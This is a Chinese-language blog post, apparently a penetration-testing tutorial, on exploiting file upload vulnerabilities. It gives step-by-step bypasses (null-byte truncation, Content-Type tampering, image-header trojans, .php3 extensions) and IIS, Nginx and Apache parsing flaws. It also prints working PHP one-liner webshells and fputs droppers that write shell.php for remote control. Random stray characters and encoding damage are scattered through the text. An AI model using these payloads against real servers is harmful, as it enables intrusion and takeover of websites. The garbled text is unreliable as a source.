原理:文件上傳漏洞是指在需要上傳文件的地方?jīng)]有對上傳的文件的格式進行過濾限制旧蛾,從而導致惡意用戶上傳惡意文件悲龟,getshell访娶。
防御:設置白名單,對用戶上傳的文件進行過濾限制
常用攻擊方法:
1.結合服務器解析漏洞上傳惡意文件**(最后總結了一下常見服務器解析漏洞怀酷,不全稻爬,歡迎大家隨時來補充)
2.利用圖片馬繞過對文件內容檢測的防御方法:檢測文件內容的時候,是根據(jù)文件開頭是否有GIF89A這些胰坟,以此來判斷是否是圖片
3.繞過前端驗證
4.修改Content-Type繞過上傳惡意文件
5.空字節(jié)代碼繞過漏洞因篇,也叫神奇的00截斷,此處的00指的是16進制的00
文件名00截斷實現(xiàn)過程:
1)第一種方法:上傳文件名為1.php.jpg格式的圖馬文件笔横,抓包后竞滓,在php后面加上一個空格字符,然后到hex中將php后面的空格字符對應的20改為00后放行即可吹缔。
2)第二種方法:上傳文件名為1.php%00.jpg格式的圖馬文件商佑,抓包后,將%00進行url解碼后放行即可厢塘。
請求包中包含上傳目錄的茶没,可以嘗試對上傳目錄進行00截斷,原理都一樣晚碾,話不多說抓半,直接上實現(xiàn)過程:
上傳路徑/upload/,直接改成/upload/%00格嘁,再將%00進行url解碼后放行即可笛求。
6.一句話各種繞過的一個網(wǎng)址:https://blog.csdn.net/jaivy/article/details/77611738
上傳文件繞過方法的我寫在另一篇文章里,有興趣的可以看下(僅僅是幾種常用的繞過方法):https://www.cnblogs.com/xiaoqiyue/p/9990600.html
下面是一個簡單的文件上傳webshell的實例:
頁面讓上傳一個文件糕簿,先上傳一句話探入,然后抓包看看結果是什么
可以看到它不讓我們上傳這個文件,但是并沒有提示我們應該上傳什么類型的文件懂诗,猜測應該是黑名單過濾蜂嗽,我們把文件后綴名改成php3試一下
成功上傳,接下來就可以去網(wǎng)頁上看看我們上傳的文件有沒有被解析了
歐克殃恒,成功植旧,最后就只需要連接菜刀就可以了
解析漏洞:
一、IIS 5.x/6.0解析漏洞利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
漏洞原理:在網(wǎng)站下建立名字為 xx.asp的文件夾离唐,其目錄內的任何擴展名的文件都被IIS當作asp文件來解析并執(zhí)行隆嗅。(php的也是一樣)
漏洞利用:
例如創(chuàng)建目錄 images.php,那么如果把這個寫有一句話木馬的1.jpg文件上傳進images.php這個目錄下面侯繁,那么http://127.0.0.1/images.php/1.jpg 這個就是一個后門地址胖喳,可以直接用菜刀去連接
2.文件解析
xx.asp;.jpg (分號截斷)
漏洞原理:在IIS6.0下的服務器默認不解析“;”后面的內容,也就是說xx.asp;.jpg會被服務器看成是xx.asp,解析成了asp文件
漏洞利用:上傳一個寫有一句話的1.asp;.jpg木馬文件就可以直接用菜刀連接了(或者直接上傳一個大馬也可以直接訪問了)
IIS6.0 默認的可執(zhí)行文件除了asp還包含這三種
/xx.asa
/xx.cer
/xx.cdx
二贮竟、IIS 7.x/ Nginx <8.03解析漏洞
Nginx漏洞原理:
Nginx默認是以CGI的方式支持PHP解析的(即默認Fast-CGI為開啟狀態(tài))丽焊,普遍的做法是:上傳一個名字為1.jpg较剃,內容為:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件(其實就是利用了fputs這個函數(shù)),然后訪問1.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
·IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類似技健,都是由于php配置文件中写穴,開啟了cgi.fix_pathinfo,而這并不是nginx或者iis7.5本身的漏洞雌贱。
** 三啊送、Nginx <8.03 空字節(jié)代碼執(zhí)行漏洞**
漏洞原理:Ngnix在遇到%00空字節(jié)時與后端FastCGI處理不一致,導致可以在圖片中嵌入PHP代碼然后通過訪問xxx.jpg%00.php來執(zhí)行其中的代碼
影響版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
四欣孤、利用apache解析漏洞繞過服務器端擴展名檢測:
漏洞原理:Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷. 這種漏洞存在于使用module模式與php結合的所有版本的Apache馋没。
利用方法:將木馬命名為 【1.php.adc】,在連接菜刀時降传,應該是http://.../1.php
五篷朵,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(寫webshell漏洞)
原理:在上傳文件所在目錄下創(chuàng)建一個一句話木馬文件
實現(xiàn)過程:新建一個1.txt文件婆排,內容為:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>
將文件保存成1.jpg格式声旺,上傳到服務器,假設上傳路徑為/upload段只,
上傳成功后腮猖,直接訪問/upload/1.jpg,然后我們會發(fā)現(xiàn)/upload目錄下創(chuàng)建了一個一句話木馬文件shell.php